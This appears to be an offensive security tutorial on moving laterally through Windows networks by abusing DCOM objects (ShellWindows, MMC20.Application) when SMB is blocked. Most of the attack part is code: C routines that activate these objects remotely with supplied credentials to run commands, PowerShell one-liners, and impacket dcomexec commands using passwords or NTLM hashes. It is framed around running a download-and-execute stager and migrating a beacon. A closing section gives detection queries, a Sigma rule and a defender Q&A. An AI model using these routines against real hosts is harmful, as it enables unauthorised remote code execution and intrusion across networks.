Lateral Movement via DCOM
Abusing Windows Distributed COM objects for lateral movement: ShellWindows.ShellExecute, MMC20.Application.ExecuteShellCommand, Office COM automation, remote activation with explicit credentials, and DCOM-based shellcode delivery
Your compromised host can reach the target over TCP/135 and dynamic high ports, but TCP/445 (SMB) is firewalled. You can't use PsExec, service installation, or SMB-based named pipe delivery. However, DCOM is available — the target is a workstation with a logged-in user, and the ShellWindows DCOM object is registered and accessible. You use CoCreateInstanceEx with explicit credentials to instantiate ShellWindows remotely, call ShellExecute on it to run a PowerShell download-and-execute stager, and migrate your beacon without ever touching SMB. From a network perspective: the traffic looks like normal inter-host COM activation, indistinguishable from legitimate enterprise software.
DCOM Architecture
High-Value DCOM Objects for Lateral Movement
| DCOM Object | Execute Method | Exec Context | Prerequisites |
|---|---|---|---|
| ShellWindows (9BA05972) | ShellExecute on existing window | Target's logged-in user | User must be logged in interactively |
| ShellBrowserWindow (C08AFD90) | Same: ShellExecute via Document.Application | Target user session | User must be logged in |
| MMC20.Application (49B2791A) | ExecuteShellCommand(cmd, dir, params, windowState) | ActiveX user context | Admin required; works without interactive session |
| Excel.Application | DDEInitiate + Run() macros | Office COM host | Office installed on target |
| Visio.Application | Documents.Add + run macro | User context | Visio installed |
| Activeds.DSSearch | N/A — LDAP recon via COM | Caller's context | Domain-joined only |
ShellWindows — Live User Session Execution
// ShellWindows DCOM lateral movement
// Requires: admin creds + user logged in interactively on target
// Executes as the logged-in user (not SYSTEM)
// Discovered by Matt Nelson (@enigma0x3) 2017
#include <comdef.h>
#include <shlobj.h> // IShellWindows, IWebBrowserApp
BOOL ShellWindowsExec(const wchar_t* target, const wchar_t* user,
const wchar_t* domain, const wchar_t* password,
const wchar_t* command) {
CoInitializeEx(NULL, COINIT_MULTITHREADED);
// Set up authentication identity for remote activation
COAUTHIDENTITY authId = {0};
authId.User = (USHORT*)user;
authId.UserLength = (ULONG)wcslen(user);
authId.Domain = (USHORT*)domain;
authId.DomainLength = (ULONG)wcslen(domain);
authId.Password = (USHORT*)password;
authId.PasswordLength = (ULONG)wcslen(password);
authId.Flags = SEC_WINNT_AUTH_IDENTITY_UNICODE;
COAUTHINFO authInfo = {0};
authInfo.dwAuthnSvc = RPC_C_AUTHN_WINNT;
authInfo.dwAuthzSvc = RPC_C_AUTHZ_NONE;
authInfo.pwszServerPrincName = NULL;
authInfo.dwAuthnLevel = RPC_C_AUTHN_LEVEL_PKT;
authInfo.dwImpersonationLevel = RPC_C_IMP_LEVEL_IMPERSONATE;
authInfo.pAuthIdentityData = &authId;
authInfo.dwCapabilities = EOAC_NONE;
COSERVERINFO serverInfo = {0};
serverInfo.pwszName = (LPWSTR)target;
serverInfo.pAuthInfo = &authInfo;
// Activate ShellWindows on remote host
CLSID clsidShellWindows = {0x9BA05972, 0xF6A8, 0x11CF,
{0xA4,0x42,0x00,0xA0,0xC9,0x0A,0x8F,0x39}};
MULTI_QI mqi = { &IID_IDispatch, NULL, S_OK };
HRESULT hr = CoCreateInstanceEx(clsidShellWindows, NULL,
CLSCTX_REMOTE_SERVER,
&serverInfo, 1, &mqi);
if (FAILED(hr) || FAILED(mqi.hr)) {
wprintf(L"[-] CoCreateInstanceEx failed: %08X\n", hr);
return FALSE;
}
// Set auth on the proxy
CoSetProxyBlanket(mqi.pItf, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE,
&authId, EOAC_NONE);
IDispatch* pShellWin = (IDispatch*)mqi.pItf;
// Get first ShellWindow item (index 0) → IWebBrowserApp
VARIANT vIdx; VariantInit(&vIdx); vIdx.vt = VT_I4; vIdx.lVal = 0;
VARIANT vItem; VariantInit(&vItem);
DISPPARAMS dp = {&vIdx, NULL, 1, 0};
pShellWin->Invoke(/* DISPID_VALUE */ 0, IID_NULL, LOCALE_SYSTEM_DEFAULT,
DISPATCH_METHOD, &dp, &vItem, NULL, NULL);
pShellWin->Release();
if (vItem.vt != VT_DISPATCH) return FALSE;
IDispatch* pWB = vItem.pdispVal;
// Call pWB.Document.Application.ShellExecute(command)
// (abbreviated — full IDISPATCH marshaling for nested property chain)
IDispatch_ShellExecute(pWB, command); // conceptual — real impl requires DISPID lookup
pWB->Release();
CoUninitialize();
return TRUE;
}
MMC20.Application — No Interactive Session Required
// MMC20.Application DCOM — works when no user is logged in interactively
// ExecuteShellCommand runs as the user associated with the MMC process
// Discovered by @enigma0x3 2017
BOOL MMCExec(const wchar_t* target, const wchar_t* user,
const wchar_t* domain, const wchar_t* password,
const wchar_t* command) {
CoInitializeEx(NULL, COINIT_MULTITHREADED);
COAUTHIDENTITY authId = {0};
authId.User = (USHORT*)user; authId.UserLength = (ULONG)wcslen(user);
authId.Domain = (USHORT*)domain; authId.DomainLength = (ULONG)wcslen(domain);
authId.Password = (USHORT*)password; authId.PasswordLength = (ULONG)wcslen(password);
authId.Flags = SEC_WINNT_AUTH_IDENTITY_UNICODE;
COAUTHINFO authInfo = {RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL,
RPC_C_AUTHN_LEVEL_PKT, RPC_C_IMP_LEVEL_IMPERSONATE,
&authId, EOAC_NONE};
COSERVERINFO si = {0}; si.pwszName = (LPWSTR)target; si.pAuthInfo = &authInfo;
// MMC20.Application CLSID: {49B2791A-B1AE-4C90-9B8E-E860BA07F889}
CLSID clsidMMC = {0x49B2791A, 0xB1AE, 0x4C90,
{0x9B,0x8E,0xE8,0x60,0xBA,0x07,0xF8,0x89}};
MULTI_QI mqi = { &IID_IDispatch, NULL, S_OK };
HRESULT hr = CoCreateInstanceEx(clsidMMC, NULL, CLSCTX_REMOTE_SERVER,
&si, 1, &mqi);
if (FAILED(hr)) return FALSE;
IDispatch* pMMC = (IDispatch*)mqi.pItf;
CoSetProxyBlanket(pMMC, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE,
&authId, EOAC_NONE);
// Get ActiveView property, then call ExecuteShellCommand
// MMC20.Application.ActiveView.ExecuteShellCommand(Command, Directory, Parameters, WindowState)
// command: "C:\Windows\System32\cmd.exe"
// parameters: "/c powershell -enc "
// windowState: "7" (hidden)
DCOM_InvokeExecShellCommand(pMMC, command); // DISPID chain: ActiveView → ExecuteShellCommand
pMMC->Release();
CoUninitialize();
return TRUE;
}
PowerShell DCOM Lateral Move (Quick Reference)
# PowerShell — ShellWindows DCOM lateral move (from compromised host)
# ShellWindows (requires interactive user on target)
$com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("Shell.Application", "TARGET01"))
$com.ShellExecute("cmd.exe", "/c powershell -enc ", "C:\Windows\System32", $null, 0)
# MMC20.Application (no interactive session needed)
$com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "TARGET01"))
$com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\cmd.exe",
$null, "/c powershell -enc ", "7")
# With explicit credentials (requires new credential token)
$cred = New-Object System.Net.NetworkCredential("user", "password", "domain")
# Or using runas to get a token, then use PSRemoting or WMI
# impacket dcomexec.py — one-liner from Linux:
dcomexec.py -object ShellWindows domain/user:password@TARGET01 "whoami"
dcomexec.py -object MMC20 -hashes :ntlmhash domain/user@TARGET01 "whoami"
Remote Activation Mechanics
Detection Engineering
-- DCOM lateral movement detection signals:
-- 1. Process creation where parent is svchost.exe -k DcomLaunch (DCOM host)
-- or dllhost.exe (DCOM surrogate) spawning unexpected children
-- MDE KQL: DCOM child process anomaly
DeviceProcessEvents
| where InitiatingProcessFileName in~ ("svchost.exe", "dllhost.exe")
| where InitiatingProcessCommandLine has_any ("DcomLaunch", "imgsvc")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","mshta.exe","cscript.exe","regsvr32.exe")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
-- 2. Network DCOM signature: TCP/135 followed by dynamic high port to same dest
-- from same source process
-- Sigma: Remote DCOM activation anomaly
title: DCOM Lateral Movement — Suspicious Child Process
logsource:
product: windows
category: process_creation
detection:
dcom_parent:
ParentImage|endswith: '\svchost.exe'
ParentCommandLine|contains: 'DcomLaunch'
suspicious_child:
Image|endswith:
- '\powershell.exe'
- '\cmd.exe'
- '\wscript.exe'
condition: dcom_parent AND suspicious_child
falsepositives: SCCM, management software using COM automation
level: high
-- 3. Windows Event 4624 (Type 3 Network Logon) from unexpected source
-- preceding DCOM process creation on same host
-- 4. Network: two connections to same target host (135 then ephemeral)
-- within ~1 second, from same process — DCOM activation pattern
Q&A
Why does ShellWindows require an interactive user session but MMC20.Application does not?
ShellWindows is an ActiveX object that represents the collection of open Explorer shell windows in the current interactive desktop session. When you call CoCreateInstanceEx for ShellWindows on a remote host, the COM activation succeeds, but the returned ShellWindows object is empty (Item(0) fails) if no user has an Explorer window open — because there are no windows to enumerate. The method ShellExecute on a shell window object executes code in the context of the logged-in user's desktop session. This is powerful for user-context execution but requires someone to be logged in with an active Explorer session. MMC20.Application represents the Microsoft Management Console, which is a standalone COM server registered as a LocalServer32 (an out-of-process COM server — it runs in its own process, mmc.exe). When activated remotely, Windows spawns a new mmc.exe process on the target host. This process doesn't require an interactive desktop session — it can run in session 0 or in an RDP session. The spawned process's identity depends on the DCOM AppID permissions and the activation credentials, but it can run without any user having logged in interactively. The ExecuteShellCommand method on MMC20.Application's Document.ActiveView fires a shell command from within that mmc.exe process, creating a child process. This is the key advantage for server-side lateral movement where interactive users are absent.
How does DCOM lateral movement differ from WMI lateral movement at the protocol and detection level?
Both DCOM and WMI use RPC over TCP/135 (endpoint mapper) plus dynamic high ports. The difference is at the application layer. WMI lateral movement uses the WMI namespace (ROOT\CIMV2) and calls Win32_Process.Create() — processes spawned this way have WmiPrvSE.exe as their parent. WmiPrvSE.exe running cmd.exe or PowerShell is well-known and has specific Sigma rules. WMI also generates events in Microsoft-Windows-WMI-Activity/Operational (Event 5857-5861). DCOM lateral movement spawns processes parented by svchost.exe (DcomLaunch) or dllhost.exe (COM surrogate), not WmiPrvSE.exe. The parent process chain looks different: svchost → cmd.exe vs. WmiPrvSE → cmd.exe. Detection teams with rules for WmiPrvSE parent will miss DCOM. However, DCOM requires the target CLSID to be registered and accessible, and DCOM access/launch permissions must allow the caller — these requirements are checked against the DCOM AppID ACL. WMI doesn't have per-operation permission checks beyond the namespace DACL. In practice: WMI is more universally available (no per-CLSID permission check), while DCOM bypasses WMI-specific detection rules. Mature detection coverage requires rules for both WmiPrvSE.exe AND dllhost.exe/svchost-DcomLaunch as parents of unusual child processes.